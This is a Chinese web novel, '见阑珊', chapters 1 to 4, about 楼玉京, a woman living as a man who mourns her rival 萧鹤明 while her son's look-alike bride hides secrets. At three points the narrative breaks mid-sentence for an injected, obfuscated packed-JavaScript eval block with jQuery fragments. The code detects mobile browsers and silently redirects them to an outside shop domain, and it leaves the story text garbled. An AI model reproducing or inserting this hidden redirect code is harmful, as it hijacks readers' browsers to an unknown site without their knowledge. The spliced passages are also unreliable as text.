《见阑珊》 1. 巫山非云·序 萧鹤明死在元丰二十二年末,听说是被以前的仇家追杀,坠崖了,连完整的尸身都寻不到。收到这个消息时楼玉京的第一反应是不信,她和萧鹤明打过几次,虽然总是对方挂彩,却也试得出他的武艺绝不算差。 能杀萧鹤明的要么是传闻中隐世不出的楼悯弦,再有……就是她。 不过据她所知,楼悯弦和萧鹤明并无死仇,他也不至于因为一点小事记很多年,把人逼死。 这会已经是深冬了,外头全是雪,冷的她好几日都不肯出门,却不知是不是想看看萧鹤明究竟是耍她还是真死了。 她披上红色狐裘,打着伞往外走,没一会便到了自家酒楼——每逢入冬都是楼韫一个人看店,她倒成了冬日里的罕见人,楼韫拨着算盘,听动静明白大概是他爹来了,头也没抬:“三楼放了暖炉。” 楼玉京嘴角微抽,她这儿子虽然是捡来的,却格外孝顺贴心。 她应了声好,又嘱咐几句才上楼。 三楼没有开窗,楼玉京站在镂空的朱窗后隔着街道望向挂满白帆的当铺——萧家是最近几年才搬来的江南,刚开始两家并无交集,当铺也不在这里。后来因为一株药草结仇了萧鹤明才特意把当铺改到春歇楼对面。 楼玉京那会就想,萧鹤明这人也忒恶心了,知道自己不喜他,还特意把店开在这儿,两个算账的每回抬头都能看见自己讨厌的脸,然后互送对方白眼。 如今看对面满店白帆,她才终于再也骗不了自己。 萧鹤明真的死了。 - 是夜,楼玉京早早回房,没有像以往那样同楼韫用晚膳,楼韫没有强留,连他这个局外人都清楚楼玉京的心思,便只吩咐身侧的侍女晚点给她些吃食。 四更天时楼韫醒来,这时候最冷,左右自己睡不着,便起身打了盏灯笼在府里走动。 他没想到的是楼玉京竟然还没睡下,她屋里灯亮着,人却披着狐裘在门口烧纸钱,远远看去,楼韫看清她脖子上挂着半块玉,是当初她和萧鹤明打架赢了,硬跟人家抢的“战利品”。 楼韫神色复杂,终究是没有打扰。 “站那儿不冷吗?”楼玉京连头也没抬,手上依旧烧着纸,“过来吧。” 楼韫深深看着她,片刻后走过去。 “爹,这么晚了,您怎么还不睡?” 楼玉京睨了他一眼:“难得听到的是爹,不是兄长。” 早年间因为两人年岁只差了九,楼韫死活不肯喊楼玉京一声爹,楼玉京也不生气,冲他笑了笑。楼韫那会以为她放弃了,刚松口气就听到她出门,还逢人就说儿子要和自己拜把的消息,楼韫脸都气红了,一路追过去捂着她的嘴在她耳边喊了好几声爹才连拖带拽把人弄走。 从此他就知道他爹一笑准没好事。 这会旧事重提,楼韫讪讪地摸了摸鼻子,尴尬道:“儿子错了。” 楼玉京没再开口,感受到楼韫一直盯着自己手上的纸钱,她淡声道:“给你祖父祖母烧的,萧鹤明还不配收我的纸钱。” 楼韫:“……” “也是没想到他居然有仇家。”楼韫顺手也烧了一把,“怪可惜的。” 闻言楼玉京冷笑,斥他天道好轮回,骂他恶人有天收,有何可惜之处。 “要不是他自己做了亏心事,哪能死那么早,我看那八成不是仇家,是仇家魂。” 话虽是这么说,可楼韫分明就看见她眼底的红,终究是深夜里一声轻叹,他顺着她的话让她早些休息。 院子里只剩楼玉京一人,她脸上没什么表情,一阵风吹过,盆里燃着的火忽明忽灭。 “怎么,听到我骂你,就算是死了也要想办法冻死我下去陪你?” “……” “那你还是死了这条心吧,才跟我儿子说了你不配,这钱可不是给你的,你可别顺手就收下了。” 风渐渐小了,楼玉京又絮絮叨叨说了很多事,一会说见他第一眼觉得他是翩翩公子,结仇了才知道他贱,一会又说他其实挺菜的,每次都打不过她,说着笑了起来,笑得眼泪都出来了。 “你挨的每一顿打可都不是我找茬啊,我说了那么多,你不能因为觉得丢脸就来我梦里骂我,不然我给你烧几张我的画像,让你天天看着犯恶心。” 风已经停了,耳边只有火在燃烧的声音。 楼玉京静静看了会脖子上的白玉,呢喃不知是给谁听。 “怎么就……死了呢?” - 春歇楼里,楼韫在后厨催菜,心思却飘回府上,厨子见他心不在焉,笑着调侃:“想你爹了?” 楼韫回过神来,笑了笑。 “楼老板这是一入冬就要冬眠啊?”厨子往锅里倒油。 “哪里哪里,楼老板昨儿个还来了。”小厮正往屋里搬着菜,听见这话便顺口答了句:“没准是家里有事呢。” 厨子斜睨他一眼:“有什么事年年冬天都出不来几趟,怕不是身体有什么问题?不然哪能有这么怕冷的爹?” 楼韫搭了把手,闻言动作一顿,而后说:“嗯,他以前病过,落下病根了。” 另一边,楼玉京坐在暖炉旁吃面,忽然觉得后背一凉,疑惑回头,没见有人。 她又低头看着脖子上挂着的白玉,像是明白了什么,啧了一声:“萧鹤明你够了啊,我知道我做的面很好吃,但你都死了还蹭上来做什么?面又不能给你烧下去。” 然后快速把面吃了,往榻上一躺。 隔壁吹吹打打吵的人心烦,嘴上骂骂咧咧,楼玉京却换了身衣服,挂着面纱混入前来悼唁的宾客中。 正堂中央萧鹤明的遗像撞入视线,楼玉京像是忽然被烫了一下,匆匆别过眼不再去看。她找了个角落的位置坐着,总觉得遗像上那双眼睛一直盯着自己,倒不是觉得瘆人,她只是想,如果萧鹤明站在她面前这样盯着她看,她会把对方眼珠子抠出来。 可转念一想,这大概是她最后一次看他了。 算了。她和死人计较什么。 离开萧府后她并未回家,而是上街买了一份梅花糕,拎着糕点回春歇楼。 楼韫连人都没见着就听见他爹的声了:“阿韫,你去隔壁镇子订鱼,我在这看着。” 一边的食客捂了捂耳朵,笑眯眯地调侃:“楼老板嗓子挺好。” 楼玉京白了他一眼:“嗓子不好怎么招客?” “是是是,楼老板自有招客妙计。” 楼韫估算了一下,这一走大约是三天左右,瞅了眼外头的天气,扭头欲言又止地看着楼玉京。 楼玉京扫了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845920|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一眼,看出他那副想说不能说的表情,嫌弃道:“你这是什么表情?怎么?还信不过你爹我?短短三天而已,不至于晚到早退。” 楼韫只好咽下到嘴边的话,应了声好,喊了车夫启程。 - 三日后,跟着楼韫一起回来的不止鱼,还有一个外乡女人。 这会楼玉京拨弄着算盘,因为太过入迷根本没注意到楼韫回来,所以就在楼韫突然附她耳边说自己带了个未婚妻回家时,吓得她差点一巴掌过去。 “你这倒霉孩子净吓唬你爹呢!”楼玉京拍了拍胸脯,瞪了他一眼,没好气道:“行了你喜欢我又不阻止,今晚在家摆桌酒席,欢迎一下。” 说着又继续拨算盘,丝毫没注意到楼韫眼底闪过的一丝暗芒。 傍晚,楼玉京把春歇楼丢给楼韫自个回家偷懒去了。 刚进家门就被管家拖去正厅摁在主位,然后吩咐婢女去请白小姐。 楼玉京皮笑肉不笑:“闹哪样?” 管家倒是喜上眉梢:“老爷,您自个儿不娶妻,少爷的未婚妻您总该见见,好让人姑娘觉得咱们重视啊。” 楼玉京:“……” 片刻后,婢女领着人进来,楼玉京原本想着对方应该是个十六七的小姑娘,结果那姑娘的身形给了她当头一棒。 那是一个姑娘该有的身形吗? 比她儿子还高大啊! 可下一秒看清白小姐面容的那一刻楼玉京到嘴边的话瞬间哽住,她下意识攥紧桌角,用力到指节泛白,近乎是颤抖。 面前人剑眉星目,明明有着一双丹凤眼,却是柔和的,没有那种不怒自威的冷然。 她像一个人。 她像一个死去的人。 楼玉京不自觉呢喃:“萧……” 而后瞬间清醒。 她不是。 只是他们太像了,不说八九分相似,那也至少有六分,哪怕再减半,三分亦足矣令她失神。 白小姐微微欠身行礼,声音有些雌雄莫辨。 “楼先生,我姓白,叫白倾熙。” 是了。 她是白倾熙,是她未来的儿媳。 楼玉京闭了闭眼,挥手道:“你……先在南咎院住下吧,稍后我会让人送些东西,就当是我这个未来公爹的一点心意。” 未过门的女子总不好跟男人住,南咎院离楼韫的北柘院不算近,不至于让白倾熙落人口舌。 白倾熙笑笑:“谢楼先生。” 处理完白倾熙的事楼玉京去了书房。 屋外雪已经停了,街道万家灯火燃起,喧哗为喜。 楼玉京攥住颈间的白玉,苦笑一声。 怎么会是呢? 明明都去过他府上观看葬礼了。 葱白的手抚摸宣纸上明显稚嫩的字迹,是她年幼时父母教她的诗句,她的父亲握住她的手提笔写下的立轴。 无论君不归,君归芳已歇。 年后日子过得很快,楼玉京私下让人查了白倾熙的底细,确认没有问题才松口张罗大婚的事。 白倾熙是孤儿,楼韫也没有名义上的娘,所以正堂只有一个属于楼玉京的位子。 春末,楼韫与白倾熙新婚,楼玉京稳坐高堂,受他二人一拜,饮一杯新人奉茶。 2. 仙人抚我顶 大婚第三日本该是白倾熙回门的日子。虽说她是孤儿,到底嫁人这种人生大事还是到爹娘坟前烧点纸,告知一下为好。免得落人口舌,平白背上不孝的名声。 楼玉京怜她与自己相似的过往,想着她连爹娘都没见过,吃百家饭长大,便着手为她备好纸钱、马车。往她手里塞了两个汤婆子,生怕人姑娘冻着。转头高声往春歇楼里喊,催楼韫赶紧出来陪她。 楼韫这会还在搬菜,头也没回地应道:“你先陪着去,我晚些。” 楼玉京正打算与白倾熙说些距离合适的体己话,刚开头就被截断,又听得楼韫这般答复,瞬间蹙眉,不悦道:“你家新妇回门让公爹陪着啊,赶紧给我出来!既然娶了就好好对人家,不然我打断你的腿。” 白倾熙微微侧身,往里看了眼。只看见三三两两食客聚一块用膳闲聊,明白楼韫忙碌,她只得虚虚拦了一下,指尖轻触楼玉京墨绿色的袍袖,片刻收回手。垂眼恭顺道:“公爹,我自己回去就行,不劳烦阿韫了,左右路程也不算得多远。” 楼韫这会已经在他爹的威压下不得不出来了,听白倾熙这么说,眯起眼睛盯着她看了会,总觉着她在拱火,他试探道:“那你先去,我搬完这些菜再去找你?” 原本见人已经出来,刚缓和脸色楼玉京一听这话哪里还压得住脾气,上手拧住他冻得有些发红的耳廓给人揪出来:“少给我废话,陪你夫人回门去,你爹活的好好的,搬菜还用得着你?” 楼韫疼的龇牙咧嘴,眼见着新妇没有要帮他的意思,他爹又这么泼辣,便急忙应道:“去去去,我去!” 闻言楼玉京这才撒手,没好气地看着这个废物儿子,眼里写满了我还治不了你。楼韫心里委屈,面上也只能苦哈哈的跟着白倾熙上马车,临行前白倾熙站在帘外回头看向楼玉京。 楼玉京当她是惊惶或是羞涩,便挥挥手示意她不必拘谨,并表示可以把楼韫当牛马使唤。 “公爹名字不错。”白倾熙忽然开口打断了她后面的话,她看着她的双眸慢慢道,“天上白玉京,十二楼五城。” 楼玉京原本还往里走的脚步倏地顿住,旋即她低低笑了起来,不知是回复还是呢喃:“是啊,是很不错。” 仙人抚我顶,结发受长生。 当年她身体孱弱,大夫断言活不过及笄,她爹娘就给她取名楼玉京,渴求哪家仙人肯降下恩泽救救她。后来爹娘将她送到同姓另一户楼家托付给楼悯弦,当夜一把火将她原本的家烧了个干净——楼悯弦许是真有些门道,给她喂了半年汤药,还真让她活过及笄了。 思及此,楼玉京颇为僵硬地扯了扯唇,似乎是想笑,想要催他们快走,莫要误了时辰,却怎么也笑不出来了。 掀开帘子往里走时,白倾熙余光撇看到她眼底有一点红,欲言又止。最终在楼韫的催促下进了车内。 白倾熙口中的坟冢其实也算不得多远,只是雪天难行,较往日还慢上半个时辰。白倾熙没有要和楼韫搭话的打算,揣着两个汤婆子闭目养神好不安逸。楼韫坐在一旁翻着春歇楼的账本,偶然抬眸见她没有心虚、没有愧疚,甚至于还一副理所当然享受楼玉京这样的体贴,他才终于冷声开口。 “这样骗她,好玩么?”楼韫在人前一向是亲和的,哪里对谁有过半分阴鸷森冷。但他这新妇不是什么普通姑娘,还这样耍着他爹,教他如何能够不恼火、不质问——不揭穿? 白倾熙低低笑了起来,震的胸腔都在颤,她睁眼坦然迎上他的视线,讥笑启唇,讽他虚伪,斥他无能。笑他要用这种等真相被拆穿后的从天而降,学那话本子里救世主的方式挤入楼玉京的眼,真以为自己是那束可以点亮暗黑瞳仁的光。 楼韫了解楼玉京比之任何人都要了解。 她厌背叛,厌谎言。楼韫清楚却还跟白倾熙一道做这欺瞒之事。 “楼韫,你的行为真是令我恶心的发指。你说我骗她,那你呢?” ——你又是什么好人?你又可曾阻拦? 楼韫只觉得一口气生生哽在喉间,不上不下,憋的脸颊泛青紫色。最终他咽下这口气侧身抬手,掀开马车的一寸布帘,隔着窗看外头倒退的雪林。 两座坟冢挨得很近,楼韫没有跟着她一块祭拜,他仍是坐在来时的位子上闭目养神,只是临走前,他就着白倾熙掀帘上车的空隙朝那座坟墓遥遥看去。 仅有一座坟冢,且石碑上刻着……姓萧。 白倾熙也没有要挡他的意思,干脆把整个门帘掀开,教他看个仔细。楼韫没再看去,转而深深看着她。白倾熙脸上的笑没有惊惶,作戏般的得体。 楼韫再次闭眼,她便坐了进来。 夜间,白倾熙先楼韫一步进了楼玉京的书房——与其让楼韫来说,引得楼玉京怀疑,不如自己与之闲聊,带错方向。 “夜已深,公爹还不歇息么?”白倾熙大概是想声音柔柔,好显得自己性子温软,但她声嗓虽说雌雄莫,也还是磁性英气多些,有意掐柔倒显得怪异。 尝试了几次依旧失败,看着楼玉京欲言又止的表情,她轻咳一声,选择正常发音。 “今儿阿蕴陪我在阿娘坟前说了好些体己话……” “阿爹,我有话和你说——” 门被推开了。楼韫站在门口,月光悠悠铺了满地,照得屋子亮堂些。忽明忽灭的烛火中他看见楼玉京跟前站着的白倾熙。楼韫眯了眯眼:“这个点你不在房内呆着,怎的在爹的书房?” 楼玉京看了一眼楼韫,又看看白倾熙,人尽皆知她这儿媳比儿子高大,一看就是个不好惹的。可外刚内柔,她倒是觉着白倾熙一介孤女才是心思敏感,容易被欺负了去。 何况楼韫这样子分明就不可能和白倾熙在人爹娘坟前说体己话,没准还趁着她不在而敷衍了事。 白倾熙替他遮掩,说好话。楼韫还不识好歹。 楼玉京瞪了他一眼,那双好看的凤眸微微睁圆:“一天天的你哪来那么多话要说,没看见你夫人有话啊!出去,等她说完你再进来。” 楼韫明白主动权已经落到白倾熙手里,或者说从一开始主动权就不属于他。白倾熙动作太快,就算自己先来一步,她也会想尽办法瞒过去——那座萧姓坟冢。 白倾熙平静地看着他,她眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845921|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 没有幸灾乐祸、挑衅或是看一个失败者的神情。什么都没有。仅仅一片平静,像是沉寂的湖,平静之下暗流涌动,伺机要命。 她垂下眼睫,声音有些哑。 “公爹,既然阿蕴有话,便不必在外等着了。我要说的也不多。” 书房原本是只有两张椅子的,供父子俩坐着闲聊,因着白倾熙嫁进来,楼玉京让人又多备了一张。此刻三人围着火炉,谁也没有开口。 白倾熙取下脖颈间的吊坠,打破沉寂。 “这是我娘的遗物,她原先是凉城萧家的三小姐,家中生变,萧老爷试图攀附还在凉城巡视的琼景王,把我娘卖给琼景王做了妾。王妃不待见我和阿娘,所以阿娘病死后,在我十多岁时她寻了个理由将我赶走——还请公爹莫要怪罪我的隐瞒。” 楼韫原先就闷着的话哽住,他不知道这是真假参半还是全然编造,但楼玉京显然听了进去,她在乎的不是“萧”这个姓,是白倾熙故事里的可怜人。姓萧的多了去了,就像是当初楼悯弦与她同姓,护她安宁。如今白倾熙的娘也可以是另一座萧府的萧三小姐,为人妇被称上一句萧三娘。 未必就要是萧鹤明相关,也不必明里称句姨娘提醒是妾,暗里还要踩上一脚。 楼玉京倒是想握着她的手好生劝慰,又因着如今自己在外在内身份都是一个“公爹”而非“婆母”。既不合情亦不合理,招人非议。 难得的,她蹙眉暗暗嫌弃这身份在此刻的无用。 当初女扮男装也是想着一个孤女带个儿子名声不佳,对儿子也不好,就索性装了那么多年。 今个没办法,楼玉京只得瞪一眼楼韫示意他安抚对方。楼韫这会没有顺着她去牵白倾熙给句情人低语的宽慰,只是偏开视线,干巴巴地吐出几个字。 “这些年,苦了你了。没有人会怪你,好生住着,别瞎想。” 白倾熙默默在心里嫌弃他。 这件事也就这么翻了篇。楼韫早已演变了无数次的拆穿生生被堵回去,一连几日都闷声做事,楼里的伙计见他不爽也不敢惹。三月开始飘雨,天气沉冷,楼玉京又恢复成那副瘫子模样,任谁劝了都死活不肯出去。 倒是白倾熙来的勤快,寻了由头名正言顺照顾她。 做儿媳的不懂商道,在家侍奉生病的公爹,在外头也说得过去、说的好听。 若非楼韫脸色难看了些,还真的有人敢对他说一句你家新妇孝顺。 约莫过个四五日,雨停了。 楼玉京也“病愈”,肯出门走动。 偶尔她会来春歇楼站在三楼的包厢,隔着朱红色的雕花窗枢看去对面仍旧日日开门营业的当铺。只是再也没有见过曾经令她厌烦,又忍不住心口春芽初绽般的蠢蠢欲动,引得她日思夜想的男人。 不必去问缘由她知道自己心底藏压着一个呼之欲出的答案。 她默默地想默默地念着他的名字。 她想说很想他,可面对曾经的白眼与拌嘴又觉得这么说实在虚伪。 于是。她很想他,但她不可以说。若有人问起,便只说:哦,你说萧鹤明啊,早忘了。 3. 煮芋成新赏 清明,春歇楼没开张,街上人也不多,大多去扫墓了。 楼玉京一早就不见踪影,只余下院中还未凉透的铜盆与缓慢飘落的飞灰。往年她给她爹娘烧了纸钱便会陪着楼韫一道祭奠他的父母,去年萧鹤明死去,楼玉京要烧纸的坟就多了一座。 别人不知道,楼韫却清楚楼玉京的心思,她不愿透露,他才因此选择装瞎,在她开口之前主动提议陪着白倾熙,给足她时间与空间。 只是昨夜几次见她收拾香烛纸钱时欲言又止,倒是白倾熙远远站着,眼里闪过一丝惊讶,孤灯明灭,楼玉京没有过多注意,楼韫亦没有看见她眼中闪过的一丝复杂。 那人坟前已零星插了几柱香火,坟包四处散落冥纸,刻了名的石碑前土壤湿软松快。楼玉京原以为自己到时还要藏在暗处等上一等,着实没想到对方动作这么快,不必她等候。 她自食盒中取出一碗面,一只烤鸡。拿出两个小碗分别倒上茶酒,没有蹲着也没有跪下,就那样站着静静看这座坟。 清明前后细雨多,不消片刻细密的雨丝便缠上肩头。楼玉京向来怕冷,却仍在这场蒙蒙细雨中伫立未走。忽而耳边传来啪嗒一声,而后是更多。急促寒凉,楼玉京猛然回头,白倾熙的脸映在她瞳孔深处。 这个时候她不在她娘坟前,不在楼韫身侧,反倒现身替她在一个全然陌生的坟茔前打伞。 这张脸与坟茔主人的重合使楼玉京恍然失神,袍袖下的手下意识攥紧,方才淋了些雨,衣衫泛着粘腻的湿,丝丝缕缕的凉意透过布料触碰到皮肤才被觉察,她竟已站了这般久。 萧鹤明的坟选在桃花树下,正是花开旺盛的时日,几朵桃花瓣被细雨打湿,又被陡然变大的骤雨打落,悄无声息,细雨湿衣看不见。 白倾熙稍稍将伞倾斜,楼玉京整个人都被笼罩,对方眉梢一挑,声音中带着些许浅柔:“这位是公爹的朋友么?” 楼玉京瞬间回神。不对,声音不对,人也不对。 她后退半步,白倾熙没有动,也没有再说话,沉沉地看着她。 定了定心神,楼玉京这才说:“算半个朋友。” “只算半个?”白倾熙弯了弯眉眼,含着浅笑,“公爹倒是会交朋友。” 她不会。 楼玉京如是想,若她当真会交友,便不会至今等人都死了还不敢把心中藏着的话说出口。那个人到死都不知道她喜爱他,不知她内心早已将他视作友人。 哪怕人已经死了、连祭奠的香火都少得可怜,她能做到的也只有孤身一人沉默站立,连话都不敢多说,生怕话多了就就把控不住,想说的全部出口,教他在九泉之下听个完整。 那她多丢脸? 白倾熙默然,眼角余光却瞥向石碑。 萧氏鹤明之墓。 “……公爹为何来看这‘半个朋友’?既称半个,想来交情应当不深才是。” 楼玉京噎了一下,她想说不是的,方才我一时说错了话,他是我很重要的人。可是最终她张了张口,一个字也没能说出。白倾熙见她久久没有搭话也不追问。 雨又渐渐小了,密的像去年隆冬的雪,楼玉京不喜欢雪。有人见了雪,偏爱咏一句撒盐空中差可拟,可盐撒在伤口是痛的,所以她更喜欢未若柳絮因风起。 “阿蕴在家中煮了些芋头,祭奠许久,公爹可要回了?”白倾熙许是察觉她心情不佳,往前走了一步,低低地道:“芋头很新鲜,是隔街的沈姨送的。” “我不喜欢芋头。”楼玉京说,“……我就不吃了,好歹是沈姨的心意,你们做小辈的莫要浪费。” 煮芋成新赏,撒盐是旧谣。芋头她恐怕是无法喜爱的。 白倾熙不明白她的心思,只说:“午时将近,公爹就算不喜,也随我一道回去罢,厨娘当是备好午膳了。” 楼玉京没再拒绝,弯腰收好地上的贡品上了马车,临行前,她掀开帘子一角朝着坟冢看去,直到它越来越小,消失在视线内。 马车回到楼府的时候雨已经停了,石灰砖铺成的地面半干,车轱辘碾过留下一圈混着脚印的痕迹。楼韫刚把芋头端上桌,又返回厨房下了三碗挂面,听见外头的动静便着手交给厨娘,到正厅迎他们去了。 楼玉京见他咋咋呼呼地跑出来,加之回程路上白倾熙与她一路说话,心头的烦闷散去不少。她轻拍楼韫的肩膀,没察觉到对方瞬间僵硬,只是笑眯眯地调侃:“这么着急接你新妇?早几天不是还嫌弃的不行?怎么着人一走就念起她的好了?” “公爹莫要笑话他,当心跟你急眼。”白倾熙掀了车帘往下走,“阿蕴耳朵红了。” 楼玉京像是见了什么稀奇事,盯着对方的耳朵啧啧两声,伸手轻拧:“哎呀,阿蕴这是被猜中心事了。” 这下子不仅是耳朵,楼韫脸上也泛起红晕,一路红到脖颈。 白倾熙撇撇嘴,移开视线,淡淡道:“公爹莫欺负他了,用膳罢。” 楼玉京这才放过楼韫的耳朵。 午膳后两个时辰是最安静的时段,楼玉京没有如以往那般歇下,进了书房的暗室。这间暗室除了她和楼悯弦,没有第三个人知道。就算亲如楼韫,楼玉京也没有告知。 暗室中央摆了张祭台,挂了三幅画像——其中两位是她爹娘,另一位是萧鹤明。暗室里头一直放有几坛子烈酒,楼玉京熟稔地坐在一边开坛饮下,急得连碗都没用,说是饮酒,不如说是灌酒。 等她喝的差不多了暗室另一头才开门,楼悯弦静静盯着她,她有些醉意,半阖着眼。睫毛颤动着,听见动静才懒懒抬眸去看。 “师父……”红唇微启,楼玉京朦胧的眼眸逐渐清明,就那样直勾勾地盯着他。 楼悯弦几步上前似乎是想扶起她,又想起什么似的手僵在半空,指尖微蜷,没有再靠近。 “……师父小气,都不扶我了。”楼玉京单手撑着祭台晕晕乎乎地站起来,人醉心不醉。 楼悯弦眸光幽深,平静道:“玉京,你长大了。” 于情于理他都自是不可能再如从前一般将她当做孩童扶起了。 “长大了没半分好,长大了师父就不疼我了,连虚扶的样子都不装。”她真的是醉的糊涂了,说话也有些含糊不清,“师父……为什么连你也不疼我了。” 幼时她摔跤尚且可以被抱起被扶起,因为她只是一个孩子,他可以像一个父亲一般呵护她,人长大后有些东西总归是会变的。 哪怕她明面上是男人,内里楼悯弦知道她究竟是男是女,哪怕只有他们两人也不可逾矩。 “师父不是不疼你,玉京,你不是孩子了。也不是……”也不是真正的男人,这种熟稔的疏离才是他们最好的结局。 楼玉京没听进去后面的话,她摆了摆手:“算了……不听……” 楼悯弦:“……” “陛下立了太子。”楼悯弦说,“朝堂曾经大换血,如今因立太子一事再次开始站队。” 循环往复,血液被换了一次又一次,帝位龙椅换了一个又一个坐下未稳,又被挤走的人。 帝王如何已经不重要了,重要的是这个皇帝够不够听话。很显然这位“被拥护”二十年的皇帝不听话,所以背后的人着急换血了。 楼悯弦眼里闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845922|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 过痛惜。 太子是他的门生,这就意味着一旦太子党倒下,他用心栽培的得意门生就要跟着一起死。 楼玉京低垂着眼睫,忽然抬手抚上父亲的画像,声音沙哑:“师父打算力挺太子?” “他是我的门生。”无论他是否有意帝位,作为他用了心血的另一个“孩子”,他要护着的。 “玉京,我知道你或许更看好三皇子,但我并不想和你走到反目这一步。三皇子羽翼不足,生性较旁人痴傻些许,就算称帝,也只是如今控制陛下的背后之人的新一任傀儡。” “我只想要皇帝去死。” “拥护太子即位,和陛下驾崩并不冲突。” “师父,当局者迷,三皇子是比太子更好的打算。”楼玉京已经不再是方才醉眼朦胧的模样,站队成了阻隔,楼悯弦对她存在养育之恩救命之恩,可她亦无法放下血海深仇。 至于太子……他心思野,登基后的第一件事一定是敲打。 比起野心蓬勃的太子,她更愿意扶持痴傻的皇子。 楼悯弦知晓她的打算与担忧,更知道这个自己养育多年的姑娘是个什么性子,刚烈难改。他暗暗叹息,不再相劝。只是提醒道:“你与琼景王做了同样的选择。” 白倾熙的生父……手握兵权异姓王…… 楼玉京顿住,她不知道是该笑还是该当个看客。 她的儿媳单纯无知,生父却在京都站队皇子,如果三皇子输了,太子不会放过她的。更不会放过整个楼府。 楼悯弦默然片刻,取下手腕的佛珠递到她跟前。 “无论最后是太子还是三皇子,玉京,你永远是我的徒弟。” 佛珠为誓,倘若太子斩草除根,可借他楼悯弦的人情保命。同样的,倘若三皇子痴傻为假,对她不利,楼悯弦自有人手保她无虞。 楼玉京瞬间愣住,眼眶倏地红了,连声音都带了些颤抖:“师父,一定要到这一步吗?” 一定要对立,走到最熟稔的陌生吗?她贪心地既想要复仇又不想和重要之人反目,鱼和熊掌不可兼得的道理她明白,可她还是起了这份贪念。 ——不该是这样的。在她所有的计划里从来就不包括和楼悯弦反目这一条,他们之间不该这样,究竟为什么会走到这一步? 一滴热泪终于砸落,断线般再也止不住了,眼前一片模糊,楼玉京看不清眼前的路况。 从前都是师父教她走,替她走,牵着她上船再慢慢渡江穿过迷蒙的雾。 但从此刻起,从他们的站队不同理念不同开始。再也不可能了。 楼玉京从年幼死死压在心头的父母之死、楼悯弦有意避嫌不再时常见她、去年深冬萧鹤明的死讯、再到现如今与师父两相交错。 那股委屈怎么也压不住了,泪水决堤,她抱着酒坛在四双眼睛的注视下嚎啕痛哭。哭的肝肠寸断,楼悯弦由着她发泄,人的情绪憋的太久是会大病一场的,也不知是不是错觉,她只觉得三幅画像悲哀地看着她。 楼玉京从来就不是一个善于别离的人,要她接受分离实在太疼太疼,宁愿死去。 楼悯弦终于动了,可他只是沉默地坐在她身边开了一坛酒,两人隔着的距离虽短却犹如王母划破的天河,难以衡越。 楼玉京的哭声回荡在耳边,慢慢变小,再到抽噎。楼悯弦灌了自己一坛酒,他千杯不醉万杯不倒,在如此场景下也只能顺着自己假装喝醉去逃避这一事实。 楼玉京连抽噎声都不再发出,怀里抱着酒弥漫香气。她仰头狠狠灌了一口。 姑娘终于停下了哭泣,泪水却已浸湿衣襟。 4. 今夕是何年 三日后江南又下起细密的雨,让楼韫意外的是他那怕冷的爹居然难得在冷天早起了,甚至在他毫无觉察时已到春歇楼待了好一阵,今儿客人不多,来来去去也就是熟悉的几个街坊。楼韫见人不多,便想着让楼玉京回去歇息,自己顶着就好。 楼玉京拨着算盘翻着账本,头都没抬:“不必,今个我自己待这儿,你要闲得慌就去后厨帮忙。” 楼韫也没废话,闷头扎进去了。 临近晌午,雨已经停了,白倾熙戴了顶帷帽从侧门悄然离开。春歇楼食客多了起来,她寻了个没人的角落坐下,不消片刻来了个生面孔,路过柜台那人极轻地朝楼玉京点了下头,楼玉京一拨算盘那人便快步上了三楼。 白倾熙饮下一杯温茶,余光瞅见楼玉京松了松筋骨,转身扎进后厨换了楼韫出来。 “阿韫,你看会,我去上菜。”楼玉京端着个方盘往楼上走,等了一会白倾熙见楼韫一时被伙计喊走才跟着上去。 三楼门没有锁,虚虚掩着,两人说话声音小,白倾熙贴着门板也只能隐约听见什么“党羽”“太傅”之类不全的关键词。最后楼玉京手腕朝上翻转,一块白玉递了过去。那人低声说了句亥时便要走,白倾熙忙先离去。楼韫半倚在柜台边似笑非笑地看她,白倾熙将帽沿压得更低,快步朝外走。 “客人慢走。”楼韫拖着长长的腔调,一面抛着铜板一面看她远去。 楼玉京先一步下楼,方盘塞楼韫手里又给人赶后厨去了。 “你儿媳妇是挺单纯的。”走前楼韫扯了扯唇,却笑不出来,也不等楼玉京问他便没了影,留一句“算了,爹还是慢慢算账罢”。 几日后楼玉京收好行囊,晚膳时分,白倾熙端了碗面上桌。前几日她跟着楼玉京上三楼的事楼韫倒是没提,只是似有似无地阴阳两句,白倾熙也不惯着,通常都不带脏字地骂回去。楼玉京揉了揉耳朵:“我这几日要进京城,你俩看着点别在楼里吵起来。” 楼韫一怔:“爹,好端端你进京做什么?” “我师父找我,我还不能去了?”楼玉京睨了他一眼,给白倾熙夹了点菜。 白倾熙弯了弯唇,“说起来还没见过师公,不知公爹几时能请人上府里喝杯茶,好教我们两个小辈尽尽孝?” 